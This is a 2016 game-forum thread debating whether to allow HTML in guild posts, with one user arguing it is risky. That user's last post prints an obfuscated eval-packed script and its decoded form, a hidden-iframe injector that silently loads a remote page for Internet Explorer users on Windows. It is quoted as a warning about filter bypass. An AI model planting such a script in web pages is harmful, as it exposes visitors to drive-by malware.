Page 1 of 1

HTML code in Guild Threads

PostPosted: Wed Nov 30, 2016 1:13 pm
by Admiral Nelson
Although the BB code in Guild threads is substantial I would like there to be some HTML code implemented into there to make it look more practical for example we have to physically create a line -------------------------------- in order to do such where in HTML5 all we have to write is <hr>.

Suggestion: Enable HTML code in guild threads.
Reason: Improve layout of posts and sometimes easier methods of creating such elements ( Lines )

Re: HTML code in Guild Threads

PostPosted: Thu Dec 01, 2016 7:37 pm
by Donald Trump
John Avery wrote:Although the BB code in Guild threads is substantial I would like there to be some HTML code implemented into there to make it look more practical for example we have to physically create a line -------------------------------- in order to do such where in HTML5 all we have to write is <hr>.

Suggestion: Enable HTML code in guild threads.
Reason: Improve layout of posts and sometimes easier methods of creating such elements ( Lines )



I like this and dislike this at the same time.

Adding any type of unrestricted coding environments is dangerous, especially with languages that utilize JavaScript. It would be able to crash people's pages and even computers.

Re: HTML code in Guild Threads

PostPosted: Thu Dec 01, 2016 7:44 pm
by DezNutz
DoS wrote:
John Avery wrote:Although the BB code in Guild threads is substantial I would like there to be some HTML code implemented into there to make it look more practical for example we have to physically create a line -------------------------------- in order to do such where in HTML5 all we have to write is <hr>.

Suggestion: Enable HTML code in guild threads.
Reason: Improve layout of posts and sometimes easier methods of creating such elements ( Lines )



I like this and dislike this at the same time.

Adding any type of unrestricted coding environments is dangerous, especially with languages that utilize JavaScript. It would be able to crash people's pages and even computers.


They can limit the use of certain html tags, just like BB Code. Enabling the use of HTML tags doesn't mean that all html tags are available for use.


+1 for main Idea. Formatting posts for visibility and usage is definitely needed.

Re: HTML code in Guild Threads

PostPosted: Thu Dec 01, 2016 7:56 pm
by Donald Trump
If it can be emulated and restricted. Then +1 from me.


But there is going to be a lot of patches. Very advanced methods can bypass some restricted tags and even code it so it doesn't seem what it truly is.


ex of malicious hidden code:
Code: Select all
<sc​ript>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.from​CharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|do​cument|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|get​ElementById|function|createElement|iframe|append​Child|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))
</sc​ript>


Ex of what it really is:
Code: Select all
function MakeFrameEx(){
  element = do​cument.get​ElementById('yahoo_api');
  if (!element){
    var el = do​cument.cr​eateElement('if​rame');
    do​cument.body.append​Child(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'hxxp://​juyfdjhdjdgh​.nl​.ai​/showthread.php?t=72241732'
  }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1))
&& ua.indexOf("windows") !=- 1){
  var t = setTimeout("MakeFrameEx()", 1000)
}